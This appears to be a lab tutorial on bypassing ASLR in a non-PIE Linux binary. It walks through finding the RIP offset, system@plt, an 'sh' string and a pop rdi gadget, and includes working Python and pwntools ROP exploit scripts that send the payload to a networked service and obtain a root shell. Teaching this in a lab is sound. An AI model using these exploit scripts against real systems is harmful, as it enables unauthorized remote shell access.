ASLR randomizes memory addresses at runtime, making exploitation more difficult. However, when PIE (Position Independent Executable) is disabled, the binary’s own addresses remain fixed, providing a foothold for exploitation.
Note
Lab Binary This tutorial uses the
targetbinary from the Linux Exploitation Lab (07-aslr-bypass/). See the setup guide for build instructions.
Understanding ASLR
ASLR randomizes:
- Stack addresses
- Heap addresses
- Library (libc) addresses
- mmap regions
Without PIE, these remain fixed:
- Binary code (.text)
- PLT/GOT sections
- Strings in the binary
Run 1 Run 2
+-----------------+ +-----------------+
| Stack 0x7ffd.. | ? | Stack 0x7fff.. | ?
+-----------------+ +-----------------+
| Libs 0x7f3a.. | ? | Libs 0x7f12.. | ?
+-----------------+ +-----------------+
| Heap 0x5641.. | ? | Heap 0x55b2.. | ?
+-----------------+ +-----------------+
| .text 0x400000 | fixed | .text 0x400000 | fixed
| PLT 0x400500 | fixed | PLT 0x400500 | fixed
| .rodata0x400800 | fixed | .rodata0x400800 | fixed
+-----------------+ +-----------------+
ASLR changes stack/libs/heap each run.
Without PIE, .text and PLT stay put.Initial Analysis
Verify ASLR is Active
cat /proc/sys/kernel/randomize_va_space
2 # Full ASLR enabledFinding the Offset
Generate a core dump outside GDB (addresses differ inside debugger):
ulimit -c unlimited
cat pattern.txt | ./target
# Segmentation fault (core dumped)Analyze the core:
gdb -q ./target ./core
gdb-peda$ x/10gx $rsp
0x7ffc10dda218: 0x414f41413941416a 0x6c41415041416b41gdb-peda$ pattern offset 0x414f41413941416a
found at offset: 120RIP offset is 120 bytes.
Examining the Binary
gdb-peda$ info functions
0x0000000000400580 puts@plt
0x0000000000400590 system@plt
0x00000000004005a0 printf@plt
0x00000000004006e6 mainThe binary imports system() - we can use system@plt directly.
Finding Useful Addresses
system@plt
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x400590 <system@plt>This address is fixed regardless of ASLR.
String in Binary
Search for useful strings:
gdb-peda$ find sh
bypass_aslr : 0x40085c --> 0x65746e450a006873 ('sh')The string “sh” exists at 0x40085c. system("sh") works because system() invokes /bin/sh -c <command>, and sh is found via the PATH environment variable. This is equivalent to system("/bin/sh") on most systems but uses fewer bytes in the ROP chain since we only need the string sh rather than /bin/sh.
ROP Gadget
ROPgadget --binary target --only "pop|ret" | grep rdi
0x00000000004007f3 : pop rdi ; retBuilding the Exploit
Local Testing
#!/usr/bin/env python3
import sys
from struct import pack
p64 = lambda x: pack("Q", x)
pop_rdi = 0x4007f3 # pop rdi; ret
system_plt = 0x400590 # system@plt
sh_string = 0x40085c # "sh" string
buf = b"A"*120 # Junk
buf += p64(pop_rdi) # Load next value into RDI
buf += p64(sh_string) # "sh" -> RDI
buf += p64(system_plt) # system("sh")
sys.stdout.buffer.write(buf)Network Exploit
Note
Before running the exploit, set up the vulnerable binary as a network service. See the Serving the Vulnerable Binary section below for socat setup.
For a network service, use pwntools’ remote() rather than telnetlib (which was deprecated in Python 3.11 and removed in 3.13):
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
pop_rdi = 0x4007f3
system_plt = 0x400590
sh_string = 0x40085c
r = remote('192.168.1.100', 5556)
r.recvuntil(b'>')
payload = b'A' * 120
payload += p64(pop_rdi)
payload += p64(sh_string)
payload += p64(system_plt)
r.sendline(payload)
r.interactive()Execution
python3 exploit.py
#### Yet another exploitation challenge ####
Hope for a crash
Enter something:
>
[*] Sending payload
[*] Got shell. Enter commands.
Input Updated !
id
uid=0(root) gid=0(root) groups=0(root)Serving the Vulnerable Binary
For testing, serve the binary with socat:
socat tcp-listen:5556,reuseaddr,fork exec:"./target"Why This Works
ASLR Randomizes: Fixed (No PIE):
┌─────────────────┐ ┌─────────────────┐
│ Stack │ ? │ .text │ 0x400000
│ (random) │ │ PLT/GOT │
├─────────────────┤ │ .rodata │
│ Libraries │ ? └─────────────────┘
│ (random) │
├─────────────────┤
│ Heap │ ?
│ (random) │
└─────────────────┘
We only need addresses from the binary itself:
- system@plt (fixed)
- "sh" string (fixed)
- ROP gadgets (fixed)Alternative: Using Binary’s Own /bin/sh
If the binary contains /bin/sh:
gdb-peda$ find /bin/sh
bypass : 0x400abc --> 0x68732f6e69622f ('/bin/sh')Use this instead of “sh” for a more standard shell.
Handling PIE
If PIE is enabled, the binary’s addresses are also randomized. Solutions:
- Information Leak: Leak a code pointer to calculate base
- Partial Overwrite: Overwrite only lower bytes (less randomized)
- Brute Force: On 32-bit, randomization is weaker
Pwntools Version
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./target')
rop = ROP(elf)
# Connect
p = remote('192.168.1.100', 5556)
# Build ROP chain
rop.call('system', [next(elf.search(b'sh\x00'))])
# Create payload
payload = b'A' * 120
payload += rop.chain()
# Send
p.recvuntil(b'>')
p.sendline(payload)
p.interactive()Key Takeaways
- ASLR vs PIE: ASLR randomizes libraries/stack; PIE randomizes the binary
- PLT is your friend: system@plt works even with ASLR
- Find strings in binary: Avoid needing libc addresses
- Fixed gadgets: ROP gadgets in the binary don’t move
- Core dumps help: Get real addresses outside GDB